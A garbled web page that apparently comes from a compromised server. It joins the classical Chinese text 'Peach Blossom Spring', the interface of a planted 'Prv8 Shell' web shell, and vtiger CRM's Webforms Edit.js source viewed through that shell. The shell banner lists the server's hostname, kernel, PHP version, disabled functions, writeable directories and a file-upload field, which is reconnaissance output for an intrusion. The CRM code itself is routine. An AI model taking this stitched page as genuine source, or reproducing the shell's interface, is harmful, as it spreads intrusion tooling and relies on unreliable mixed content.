晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/Settings/Webforms/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/layouts/v7/modules/Settings/Webforms/resources/Edit.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

Settings_Vtiger_Edit_Js('Settings_Webforms_Edit_Js', {}, {
	
	duplicateWebformNames : {},
	
	targetFieldsTable : false,
	/**
	 * Function to get source module fields table
	 */
	getSourceModuleFieldTable : function() {
		var editViewForm = this.getForm();
		if(this.targetFieldsTable == false){
			this.targetFieldsTable = editViewForm.find('[name="targetModuleFields"]');
		}
		return this.targetFieldsTable;
	},
	
	targetModule : false,
	
	/**
	 * Function to set target module
	 */
	setTargetModule : function(targetModuleName){
		this.targetModule = targetModuleName;
	},
	
	/**
	 * Function to render selected field UI
	 */
	displaySelectedField : function(selectedField){
		var editViewForm = this.getForm();
		var targetFieldsTable = this.getSourceModuleFieldTable();
		var selectedFieldOption = editViewForm.find('option[value="'+selectedField+'"]');
		var selectedFieldInfo = selectedFieldOption.data('fieldInfo');
		var selectedOptionLabel = selectedFieldInfo.label;
		var selectedOptionName = selectedFieldInfo.name;
		var selectedOptionType = selectedFieldInfo.type;
		var isCustomField = selectedFieldInfo.customField;
		var moduleName = app.getModuleName();
		var fieldInstance = Vtiger_Field_Js.getInstance(selectedFieldInfo,moduleName);
		var fieldMandatoryStatus = selectedFieldOption.data('mandatory');
		var UI = fieldInstance.getUiTypeSpecificHtml();
		var UI = jQuery(UI);
		var addOnElementExist = UI.find('.add-on');
		var parentInputPrepend = addOnElementExist.closest('.input-prepend');
		
		if((parentInputPrepend.length > 0) && (selectedOptionType != "reference")){
			parentInputPrepend.find('.add-on').addClass('overWriteAddOnStyles');
		}

		var webFormTargetFieldStructure = '<tr data-name="'+selectedOptionName+'" data-type="'+selectedOptionType+'" data-mandatory-field="'+fieldMandatoryStatus+'" class="listViewEntries">'+
											'<td class="textAlignCenter">'+
								'<input type="hidden" class="sequenceNumber" name="selectedFieldsData['+selectedField+'][sequence]" value=""/>'+
								'<input type="hidden" value="0" name="selectedFieldsData['+selectedField+'][required]"/>'+
								'<input type="checkbox" value="1" class="markRequired mandatoryField" name="selectedFieldsData['+selectedField+'][required]"/></td>';
		
		webFormTargetFieldStructure+= '<td class="textAlignCenter">'+
										'<input type="hidden" value="0" name="selectedFieldsData['+selectedField+'][hidden]"/>'+
										'<input type="checkbox" value="1" class="markRequired hiddenField" name="selectedFieldsData['+selectedField+'][hidden]"/>'+
										'</td>'+
										'<td class="fieldLabel" data-label="'+selectedOptionLabel+'">'+selectedOptionLabel+'</td>'+
										'<td class="fieldValue" data-name="fieldUI_'+selectedOptionName+'"></td>';
				
		if(isCustomField){
			webFormTargetFieldStructure+=	'<td>'+app.vtranslate('JS_LABEL')+":"+selectedOptionLabel;
		} else {
			webFormTargetFieldStructure+=	'<td>'+selectedField;
		}
		
		webFormTargetFieldStructure+=	'<div class="pull-right actions">'+
										'<span class="actionImages"><a class="removeTargetModuleField"><i class="icon-remove-sign"></i></a></span></div></td></tr>';

        targetFieldsTable.append(webFormTargetFieldStructure);
        var fieldUIContainer = targetFieldsTable.find('[data-name="fieldUI_'+selectedOptionName+'"]');
		fieldUIContainer.html(UI);
		
		vtUtils.applyFieldElementsView(fieldUIContainer);
        
		if(selectedOptionType == 'reference'){
			this.registerAutoCompleteFields(editViewForm);
            this.appendPopupReferenceModuleName(fieldUIContainer.find('[name="popupReferenceModule"]'));
        }
	},
	
	/**
	 * Function to register event for onchange event for 
	 * select2 element fro adding and removing fields
	 */
	registerOnChangeEventForSelect2 : function(){
		var thisInstance = this;
		var editViewForm = this.getForm();
		var fieldsTable = this.getSourceModuleFieldTable();
		jQuery('#fieldsList').on('change',function(e){
			var element = jQuery(e.currentTarget);
			//To handle the options that are removed from select2
			if(typeof e.removed != "undefined"){
				var removedFieldObject = e.removed;
				var removedFieldName = removedFieldObject.id; 
				var removedFieldLabel = removedFieldObject.text; 
				var selectedFieldOption = editViewForm.find('option[value="'+removedFieldName+'"]');
				var fieldMandatoryStatus = selectedFieldOption.data('mandatory');
				//To handle the mandatory option that are removed using backspace from select2
				if(fieldMandatoryStatus){
					var existingOptions = element.select2("data");
					var params = {
						'id' : removedFieldName,
						'text' : removedFieldLabel
					}
					existingOptions.push(params);
					//By setting data attribute select2 mandatory options are added back to select2
					element.select2("data",existingOptions);
					thisInstance.triggerLockMandatoryFieldOptions();
				} else {
					//Remove the row with respect to option that are removed from select2
					var selectedFieldInfo = selectedFieldOption.data('fieldInfo');
					var removeRowName = selectedFieldInfo.name;
					fieldsTable.find('tr[data-name="'+removeRowName+'"]').find('.removeTargetModuleField').trigger('click');
					if(element.val().length == 1){
						jQuery('#saveFieldsOrder').attr('disabled',true);
					}
				}
			} else if(typeof e.added != "undefined"){
				//To add the row according to option that is selected from select2
				var addedFieldObject = e.added;
				var addedFieldName = addedFieldObject.id;
				thisInstance.displaySelectedField(addedFieldName);
				thisInstance.registerEventToHandleOnChangeOfOverrideValue();
			}
		})
	},
	
	/**
	 * Function to register event for making field as required
	 */
	registerEventForMarkRequiredField : function(){
		var thisInstance = this;
		this.getSourceModuleFieldTable().on('change','.markRequired',function(e){
			var message = app.vtranslate('JS_MANDATORY_FIELDS_WITHOUT_OVERRIDE_VALUE_CANT_BE_HIDDEN');
			var element = jQuery(e.currentTarget);
			var elementRow = element.closest('tr');
			var fieldName= elementRow.data('name');
			var fieldType = elementRow.data('type');
			if(fieldType == "multipicklist"){
				fieldName = fieldName+'[]';
			}
			var fieldValue = jQuery.trim(elementRow.find('[name="'+fieldName+'"]').val());
			var isMandatory = element.closest('tr').data('mandatoryField');
			if(isMandatory){
				if(element.hasClass('mandatoryField')){
					element.attr('checked',true);
				}else if(element.hasClass('hiddenField')){
					if(fieldValue == ''){
						element.attr('checked',false);
						thisInstance.showErrorMessage(message);
					}
				}
				e.preventDefault();
				return;
			}else{
				if(element.hasClass('mandatoryField')){
					if(element.is(':checked')){
						var hiddenOption = elementRow.find('.hiddenField');
						if(hiddenOption.is(':checked')){
							if(fieldValue == ''){
								element.attr('checked',false);
								thisInstance.showErrorMessage(message);
								e.preventDefault();
								return;
							}
						}
					}
				}else if(element.hasClass('hiddenField')){
					var mandatoryOption = elementRow.find('.mandatoryField');
					if(mandatoryOption.is(':checked') && fieldValue == ''){
						element.attr('checked',false);
						thisInstance.showErrorMessage(message);
						e.preventDefault();
						return;
					}
				}
			}
		})
	},
	
	/**
	 * Function to show error messages
	 */
	showErrorMessage : function(message){
        app.helper.showErrorNotification({"message":message});
	},
	
	/**
	 * Function to handle target module remove field action
	 */
	registerEventForRemoveTargetModuleField : function(){
		var thisInstance = this;
		var sourceModuleContainer = this.getSourceModuleFieldTable();
		sourceModuleContainer.on('click','.removeTargetModuleField',function(e){
			var element = jQuery(e.currentTarget);
			var containerRow = element.closest('tr');
			var removedFieldLabel = containerRow.find('td.fieldLabel').text();
			var selectElement = sourceModuleContainer.find('#fieldsList');
			//x click removes element in select2 automatically (2 actions below is not required)
			//var select2Element = vtUtils.showSelect2ElementView(selectElement);
			//select2Element.find('li.select2-search-choice').find('div:contains('+removedFieldLabel+')').closest('li').remove();
			selectElement.find('option:contains('+removedFieldLabel+')').removeAttr('selected');
			if(selectElement.val().length == 1){
				jQuery('#saveFieldsOrder').attr('disabled',true);
			}
			thisInstance.triggerLockMandatoryFieldOptions();
			containerRow.remove();
		})
	},
	
	/**
	 * Function to lock mandatory option in select2
	 */
	lockMandatoryOptionInSelect2 : function(mandatoryFieldLabel){
		var sourceModuleContainer = this.getSourceModuleFieldTable();
		var fieldsListSelect2Element = sourceModuleContainer.find('#s2id_fieldsList');
		fieldsListSelect2Element.find('.select2-search-choice div:contains("'+mandatoryFieldLabel+'")').closest('li').find('a').remove();
	},
	
	/**
	 * Function to trigger lock mandatory field options in edit mode
	 */
	triggerLockMandatoryFieldOptions : function(){
		var editViewForm = this.getForm();
		var selectedOptions = editViewForm.find('#fieldsList option:selected');
		for(var i=0;i<selectedOptions.length;i++){
			var selectedOption = jQuery(selectedOptions[i]);
			var selectedFieldInfo = jQuery(selectedOption).data('fieldInfo');
			var mandatoryStatus = selectedOption.data('mandatory');
			if(mandatoryStatus){
				var selectedFieldLabel = selectedFieldInfo.label;
				this.lockMandatoryOptionInSelect2(selectedFieldLabel);
			}
		}
	},
	
	/**
	 * Function to handle on change of target module
	 */
	registerEventToHandleChangeofTargetModule : function(){
		var thisInstance =this;
		var editViewForm = this.getForm();
		editViewForm.find('[name="targetmodule"]').on('change',function(e){
			var element = jQuery(e.currentTarget);
			var targetModule = element.val();
			var existingTargetModule = thisInstance.targetModule;
			
			if(existingTargetModule == targetModule){
				return;
			}
			
			var params = {
			"module" : app.getModuleName(),
			"parent" : app.getParentModuleName(),
			"view" : "GetSourceModuleFields",
			"sourceModule" : targetModule
			}
            app.helper.showProgress();
			app.request.get({data:params}).then(
				function(error, data){
					if(data){
                        app.helper.hideProgress();
						editViewForm.find('.targetFieldsTableContainer').html(data);
						thisInstance.targetFieldsTable = editViewForm.find('[name="targetModuleFields"]');
						thisInstance.setTargetModule(targetModule);
						thisInstance.registerBasicEvents();
						thisInstance.eventToHandleChangesForReferenceFields();
					}
             });
          })
	},
	
	/**
	 * Function to add floatNone and displayInlineBlock class for
	 * add-on element in a form
	 */
	addExternalStylesForElement : function(){
		var editViewForm = this.getForm();
		var targetModuleFieldsTable = this.getSourceModuleFieldTable();
		var addOnElementExist = editViewForm.find('.add-on');
		var parentInputPrepend = addOnElementExist.closest('.input-prepend');
		if(parentInputPrepend.length > 0 && (!parentInputPrepend.hasClass('input-append'))){
			parentInputPrepend.find('.add-on').addClass('overWriteAddOnStyles');
		}
		targetModuleFieldsTable.find('input.timepicker-default').removeClass('input-small');
		targetModuleFieldsTable.find('textarea').removeClass('input-xxlarge').css('width',"80%");
		targetModuleFieldsTable.find('input.currencyField').css('width',"210px")
	},
	
	/**
	 * Function to register Basic Events
	 */
	registerBasicEvents : function(){
        var editViewForm = this.getForm();
		vtUtils.applyFieldElementsView(editViewForm);
		this.registerOnChangeEventForSelect2();
		this.registerEventForRemoveTargetModuleField();
		this.registerEventForMarkRequiredField();
		this.triggerLockMandatoryFieldOptions();
		this.addExternalStylesForElement();
		//api to support target module fields sortable
		this.makeMenuItemsListSortable();
		this.registerEventForFieldsSaveOrder();
		this.arrangeSelectedChoicesInOrder();
		this.registerEventToHandleOnChangeOfOverrideValue();
		this.registerAutoCompleteFields(editViewForm);
		//Document file fields handling
		this.registerAddFileFieldEvent(editViewForm);
		this.registerFileFieldRemoveEvent(editViewForm);
	},

	fileFieldsLimit: 5,
	/**
	 * Function to handle add file field click event
	 * @param form - Edit view form.
	 */
	registerAddFileFieldEvent: function (form) {
		var self = this;
		var container = jQuery(form);
		container.find('#addFileFieldBtn').click(function (e) {
			e.preventDefault();
			var fileFieldsCount = parseInt(jQuery('#fileFieldsCount').val());
			if (fileFieldsCount >= self.fileFieldsLimit) {
				app.helper.showAlertNotification({message: app.vtranslate('JS_MAX_FILE_FIELDS_LIMIT', self.fileFieldsLimit)});
				return false;
			}
			var fieldIndex = jQuery('#fileFieldNextIndex').val();
			var html = '<tr>\n\
							<td style="vertical-align: middle;">\n\
								<input type="text" class="inputElement nameField" name="file_field['+fieldIndex+'][fieldlabel]" data-rule-required="true">\n\
							</td>\n\
							<td class="textAlignCenter" style="vertical-align: middle;">\n\
								<input type="checkbox" name="file_field['+fieldIndex+'][required]" value="1">\n\
							</td>\n\
							<td class="textAlignCenter" style="vertical-align: middle;">\n\
								<a class="removeFileField" style="color: black;"><i class="fa fa-trash icon-trash"></i></a>\n\
							</td>\n\
						</tr>';
			container.find('table#fileFieldsTable').find('tbody').append(html);
			jQuery('#fileFieldNextIndex').val(parseInt(fieldIndex)+1);
			jQuery('#fileFieldsCount').val(fileFieldsCount+1);
			container.find('.noFileField').addClass('hide');
			self.registerFileFieldRemoveEvent(form);
		});
	},
	/**
	 * Function to handle remove file field click event
	 * @param container - Edit view form.
	 */
	registerFileFieldRemoveEvent: function (container) {
		container = jQuery(container);
		container.find('.removeFileField').off('click');
		container.find('.removeFileField').on('click', function (e) {
			e.preventDefault();
			var fileFieldsCount = parseInt(jQuery('#fileFieldsCount').val());
			jQuery(e.currentTarget).closest('tr').remove();
			jQuery('#fileFieldsCount').val(fileFieldsCount-1);
			if (container.find('#fileFieldsTable').find('tr:visible').length == 1) {
				container.find('.noFileField').removeClass('hide');
			}
		});
	},
	
	/**
	 * Function to handle onchange event of override values
	 */
	registerEventToHandleOnChangeOfOverrideValue : function() {
		var thisInstance = this;
		var container  = this.getSourceModuleFieldTable();
		var fieldRows = container.find('tr.listViewEntries');
		jQuery(fieldRows).each(function(key,value){
			var fieldRow = jQuery(value);
			var fieldName = fieldRow.data('name');
			var fieldType = fieldRow.data('type');
			if(fieldType == "multipicklist"){
				fieldName = fieldName+'[]';
			}
			fieldRow.find('[name="'+fieldName+'"]').on('change',function(e){
				var element = jQuery(e.currentTarget);
				var value = jQuery.trim(element.val());
				var mandatoryField = fieldRow.find('.mandatoryField');
				var hiddenField = fieldRow.find('.hiddenField');
				if((value == "") && (mandatoryField.is(':checked')) && (hiddenField.is(':checked'))){
					hiddenField.attr('checked',false);
					thisInstance.showErrorMessage(app.vtranslate('JS_MANDATORY_FIELDS_WITHOUT_OVERRIDE_VALUE_CANT_BE_HIDDEN'));
					return;
				}
			})
		})
	},
	
	/**
	 * Function to regiser the event to make the menu items list sortable
	 */
	makeMenuItemsListSortable : function() {
		var selectElement = jQuery('#fieldsList');
		var select2Element = app.helper.getSelect2FromSelect(selectElement);
		//TODO : peform the selection operation in context this might break if you have multi select element in menu editor
		//The sorting is only available when Select2 is attached to a hidden input field.
		var select2ChoiceElement = select2Element.find('ul.select2-choices');
		select2ChoiceElement.sortable({
			'containment': select2ChoiceElement,
			start: function() {  },
			update: function() { 

			//If arragments of fileds is completed save field order button should be enabled
			 if(selectElement.val().length > 1){
				 jQuery('#saveFieldsOrder').attr('disabled',false);
			 }
			}
		});
	},
	
	/**
	 * Function to save fields order in a webform
	 */
	registerEventForFieldsSaveOrder : function(){
		var thisInstance = this;
		jQuery('#saveFieldsOrder').on('click',function(e, updateRows){
			if(typeof updateRows == "undefined"){
				updateRows = true;
			}
			var element = jQuery(e.currentTarget);
			var selectElement = jQuery('#fieldsList');
			var orderedSelect2Options = selectElement.select2("data");
			var i = 1;
			for(var j = 0;j < orderedSelect2Options.length;j++){
				var chosenOption = orderedSelect2Options[j];
				var chosenValue = chosenOption.id;
				jQuery('tr[data-name="selectedFieldsData['+chosenValue+'][defaultvalue]"]').find('.sequenceNumber').val(i++);
			}
			if(updateRows){
				thisInstance.arrangeFieldRowsInSequence();
				element.attr("disabled",true);
			}
		})
	},
	
	/**
	 * Function to arrange field rows according to selected sequence
	 */
	arrangeFieldRowsInSequence : function() {
		var selectElement = jQuery('#fieldsList');
		var orderedSelect2Options = selectElement.select2("data");
			
		//Arrange field rows according to selected sequence
		var totalFieldsSelected = orderedSelect2Options.length;
		var selectedFieldRows = jQuery('tr.listViewEntries');
		for(var index=totalFieldsSelected;index>0;index--){
			var rowInSequence = jQuery('[class="sequenceNumber"][value="'+index+'"]',selectedFieldRows).closest('tr');
			rowInSequence.insertAfter(jQuery('[name="targetModuleFields"]').find('[name="fieldHeaders"]'));
		}
	},
	
	/**
	 * Function to arrange selected choices in order
	 */
	arrangeSelectedChoicesInOrder : function(){
		this.arrangeFieldRowsInSequence();
		var selectElement = jQuery('#fieldsList');
		var select2Element = app.helper.getSelect2FromSelect(selectElement);
		var choicesContainer = select2Element.find('ul.select2-choices');
		var choicesList = choicesContainer.find('li.select2-search-choice');
		var selectedOptions = jQuery('tr.listViewEntries');
		for(var index=selectedOptions.length ; index > 0  ; index--) {
			var selectedRow = selectedOptions[index-1];
			var fieldLabel = jQuery(selectedRow).find('.fieldLabel').data('label');
			choicesList.each(function(choiceListIndex,element){
				var liElement = jQuery(element);
				if(liElement.find('div').html() == fieldLabel){
					choicesContainer.prepend(liElement);
					return false;
				}
			});
		}
	},
	
	/**
	 * Function which will register reference field clear event
	 * @params - container <jQuery> - element in which auto complete fields needs to be searched
	 */
	registerClearReferenceSelectionEvent : function(container) {
        container.on('click','.clearReferenceSelection', function(e){
            e.preventDefault();
            var element = jQuery(e.currentTarget);
            var parentTdElement = element.closest('td');
            if(parentTdElement.length == 0){
                parentTdElement = element.closest('.fieldValue');
            }
            var inputElement = parentTdElement.find('.inputElement');
            var fieldName = parentTdElement.find('.sourceField').attr("name");

            parentTdElement.find('.referencefield-wrapper').removeClass('selected');
            inputElement.removeAttr("disabled").removeAttr('readonly');
            inputElement.attr("value","");
            inputElement.val("");
            parentTdElement.find('input[name="'+fieldName+'"]').val("");
            element.addClass('hide');
            element.trigger(Vtiger_Edit_Js.referenceDeSelectionEvent);
        });
    },
	
	/**
	 * Function to register form for validation
	 */
	registerSubmitEvent : function(){
		var editViewForm = this.getForm();
		editViewForm.submit(function(e){
			//Form should submit only once for multiple clicks also
			if(typeof editViewForm.data('submit') != "undefined") {
				return false;
			} else {
				if(editViewForm.validationEngine('validate')) {
					editViewForm.data('submit', 'true');
					var displayElementsInForm = jQuery( "input.referenceFieldDisplay" );
					if(typeof displayElementsInForm != "undefined"){
						var noData;
						if(displayElementsInForm.length > 1){
							jQuery(displayElementsInForm).each(function(key,value){
								var element = jQuery(value);
								var parentRow = element.closest('tr');
								var fieldValue = parentRow.find('.sourceField').val()
								var mandatoryField = parentRow.find('.mandatoryField');
								if(((fieldValue == '') || (fieldValue == 0)) && (mandatoryField.is(':checked'))){
									noData = true;
									return false;
								}
							})
						}else if(displayElementsInForm.length == 1){
							var parentRow = displayElementsInForm.closest('tr');
							var fieldValue = parentRow.find('.sourceField').val()
							var mandatoryField = parentRow.find('.mandatoryField');
							if(((fieldValue == '')  || (fieldValue == 0)) && (mandatoryField.is(':checked'))){
								noData = true;
							}
						}
					}
					if(noData){
                        app.helper.showErrorNotification({"message":app.vtranslate('JS_REFERENCE_FIELDS_CANT_BE_MANDATORY_WITHOUT_OVERRIDE_VALUE')});
						editViewForm.removeData('submit');
						return false;
					}
					//on submit form trigger the recordPreSave event
					var recordPreSaveEvent = jQuery.Event(Vtiger_Edit_Js.recordPreSave);
					editViewForm.trigger(recordPreSaveEvent);
					if(recordPreSaveEvent.isDefaultPrevented()) {
						//If duplicate record validation fails, form should submit again
						editViewForm.removeData('submit');
						return false;
					}
				} else {
					//If validation fails, form should submit again
					editViewForm.removeData('submit');
					// to avoid hiding of error message under the fixed nav bar
					app.formAlignmentAfterValidation(editViewForm);
				}
			}
		})
	},
	
	/**
	 * This function will register before saving any record
	 */
	registerRecordPreSaveEvent : function(form) {
		var thisInstance = this;
        app.event.on(Vtiger_Edit_Js.recordPresaveEvent,function(e) {
            e.preventDefault();
            var displayElementsInForm = jQuery( "input.referenceFieldDisplay" );
            if(typeof displayElementsInForm != "undefined"){
                var noData;
                if(displayElementsInForm.length > 1){
                    jQuery(displayElementsInForm).each(function(key,value){
                        var element = jQuery(value);
                        var parentRow = element.closest('tr');
                        var fieldValue = parentRow.find('.sourceField').val()
                        var mandatoryField = parentRow.find('.mandatoryField');
                        if(((fieldValue == '') || (fieldValue == 0)) && (mandatoryField.is(':checked'))){
                            noData = true;
                            return false;
                        }
                    })
                }else if(displayElementsInForm.length == 1){
                    var parentRow = displayElementsInForm.closest('tr');
                    var fieldValue = parentRow.find('.sourceField').val()
                    var mandatoryField = parentRow.find('.mandatoryField');
                    if(((fieldValue == '')  || (fieldValue == 0)) && (mandatoryField.is(':checked'))){
                        noData = true;
                    }
                }
            }
            if(noData){
                app.helper.showErrorNotification({"message":app.vtranslate('JS_REFERENCE_FIELDS_CANT_BE_MANDATORY_WITHOUT_OVERRIDE_VALUE')});
                return false;
            }
            
			var webformName = jQuery('[name="name"]').val();
			 if(!(webformName in thisInstance.duplicateWebformNames)) {
				thisInstance.checkDuplicate().then(
                function() {
                     thisInstance.duplicateWebformNames[webformName] = true;
                     //clear submit handler to avoid deadlock
                     form.vtValidate({});
                     jQuery('#saveFieldsOrder').trigger('click',[false]);
					 window.onbeforeunload = null;
                     form.submit();
                }, function() {
                    thisInstance.duplicateWebformNames[webformName] = false;
                    thisInstance.showErrorMessage(app.vtranslate('JS_WEBFORM_WITH_THIS_NAME_ALREADY_EXISTS'));
                });
			 } else {
                if(thisInstance.duplicateWebformNames[webformName] == true){
                    //clear submit handler to avoid deadlock
                    form.vtValidate({});
                    jQuery('#saveFieldsOrder').trigger('click',[false]);
					window.onbeforeunload = null;
                    form.submit();
                    return true;
                } else {
                    thisInstance.showErrorMessage(app.vtranslate('JS_WEBFORM_WITH_THIS_NAME_ALREADY_EXISTS'));
                }
            }
        });
	},
	
	checkDuplicate : function(){
		var aDeferred = jQuery.Deferred();
		var webformName = jQuery('[name="name"]').val();
		var recordId = jQuery('[name="record"]').val();
		var params = {
			'module' : app.getModuleName(),
			'parent' : app.getParentModuleName(),
			'action' : 'CheckDuplicate',
			'name'	 : webformName,
			'record' : recordId
		};
		app.request.post({data:params}).then(
			function(e,res) {
                if(res.success) {
					aDeferred.reject(res);
				} else {
					aDeferred.resolve(res);
				}
			}
		);
		return aDeferred.promise();
	},
	
	/**
	 * Function to register form for validation
	 */
//	registerFormForValidation : function() {
//		var editViewForm = this.getForm();
//		editViewForm.submit(function(e){
//			var displayElementsInForm = jQuery( "input.referenceFieldDisplay" );
//			if(typeof displayElementsInForm != "undefined"){
//				var noData;
//				if(displayElementsInForm.length > 1){
//					jQuery(displayElementsInForm).each(function(key,value){
//						var element = jQuery(value);
//						var parentRow = element.closest('tr');
//						var fieldValue = parentRow.find('.sourceField').val()
//						var mandatoryField = parentRow.find('.mandatoryField');
//						if(((fieldValue == '') || (fieldValue == 0)) && (mandatoryField.is(':checked'))){
//							noData = true;
//							return false;
//						}
//					})
//				}else if(displayElementsInForm.length == 1){
//					var parentRow = displayElementsInForm.closest('tr');
//					var fieldValue = parentRow.find('.sourceField').val()
//					var mandatoryField = parentRow.find('.mandatoryField');
//					if(((fieldValue == '')  || (fieldValue == 0)) && (mandatoryField.is(':checked'))){
//						noData = true;
//					}
//				}
//			}
//			if(noData){
//                app.helper.showErrorNotification({"message":app.vtranslate('JS_REFERENCE_FIELDS_CANT_BE_MANDATORY_WITHOUT_OVERRIDE_VALUE')});
//				editViewForm.removeData('submit');
//				return false;
//			}
//		})
//        editViewForm.vtValidate();
//	},
    
    /**
     * Function makes the user list select element mandatory if the roundrobin is checked 
     */
    registerUsersListMandatoryOnRoundrobinChecked : function() {
        var roundrobinCheckboxElement = jQuery('[name="roundrobin"]');
        var userListSelectElement = jQuery('[data-name="roundrobin_userid"]');
        var userListLabelElement = userListSelectElement.closest('td').prev();
        if(!roundrobinCheckboxElement.is(':checked')) {
            userListLabelElement.find('span.redColor').addClass('hide');
            userListSelectElement.addClass('ignore-validation');
        }
        roundrobinCheckboxElement.change(function(){
            if(jQuery(this).is(':checked')){
                userListLabelElement.find('span.redColor').removeClass('hide');
                userListSelectElement.removeClass('ignore-validation');
                userListSelectElement.valid();
            } else{
                userListLabelElement.find('span.redColor').addClass('hide');
                userListSelectElement.addClass('ignore-validation');
                var select2Element = app.helper.getSelect2FromSelect(userListSelectElement);
                select2Element.trigger('Vtiger.Validation.Hide.Messsage')
                .find('.input-error').removeClass('input-error');
            }
        });
    },
	
	/**
	 * Function to append popup reference module names if exist
	 */
	eventToHandleChangesForReferenceFields : function(){
		var thisInstance = this;
		var editViewForm = this.getForm();
		var referenceModule = editViewForm.find('[name="popupReferenceModule"]');
		if(referenceModule.length > 1){
			jQuery(referenceModule).each(function(key,value){
				var element = jQuery(value);
				thisInstance.appendPopupReferenceModuleName(element);
			})
		}else if(referenceModule.length == 1){
			thisInstance.appendPopupReferenceModuleName(referenceModule);
		}
	},
	
	appendPopupReferenceModuleName : function(element){
		var referredModule = element.val();
		var fieldName = element.closest('tr').data('name');
		var referenceName = fieldName.split('[defaultvalue]');
		referenceName = referenceName[0]+'[referenceModule]';
		var html = '<input type="hidden" name="'+referenceName+'" value="'+referredModule+'" class="referenceModuleName"/>'
		element.closest('td').append(html);
		element.closest('td').find('[name="'+fieldName+'_display"]').addClass('referenceFieldDisplay').removeAttr('name');
	},
	
	setReferenceFieldValue : function(container, params) {
		var sourceField = container.find('input[class="sourceField"]').attr('name');
		var fieldElement = container.find('input[name="'+sourceField+'"]');
		var fieldDisplayElement = container.find('.referenceFieldDisplay');
		var popupReferenceModule = container.find('input[name="popupReferenceModule"]').val();

		var selectedName = params.name;
		var id = params.id;

		fieldElement.trigger(Vtiger_Edit_Js.referenceSelectionEvent, {'source_module' : popupReferenceModule, 'record' : id, 'selectedName' : selectedName});
        if(!fieldDisplayElement.length) {
            fieldElement.attr('value',id);
            fieldElement.val(selectedName);
        } else {
            fieldElement.val(id);
            fieldDisplayElement.val(selectedName);
			if(selectedName) {
				fieldDisplayElement.attr('readonly',true);
			}else {
				fieldDisplayElement.attr('readonly',false);
			}
        }
        
		if(selectedName) {
			fieldElement.parent().find('.clearReferenceSelection').removeClass('hide');
			fieldElement.parent().find('.referencefield-wrapper').addClass('selected');
		}else {
			fieldElement.parent().find('.clearReferenceSelection').addClass('hide');
			fieldElement.parent().find('.referencefield-wrapper').removeClass('selected');
		}
    },
	
	/**
	 * Function which will handle the registrations for the elements 
	 */
	registerEvents : function() {
            this._super();
            
		var form = this.getForm();
		this.registerEventToHandleChangeofTargetModule();
		var targetModule = form.find('[name="targetModule"]').val();
		this.setTargetModule(targetModule);
		this.registerUsersListMandatoryOnRoundrobinChecked();
        
		//api to support reference field related actions
		this.referenceModulePopupRegisterEvent(form);
		this.registerClearReferenceSelectionEvent(form);
		this.registerReferenceCreate(form);
		this.eventToHandleChangesForReferenceFields();
        
        //save api's
        this.registerRecordPreSaveEvent(form); 
        
 	    //this.registerSubmitEvent();
	}
})

haha - 2025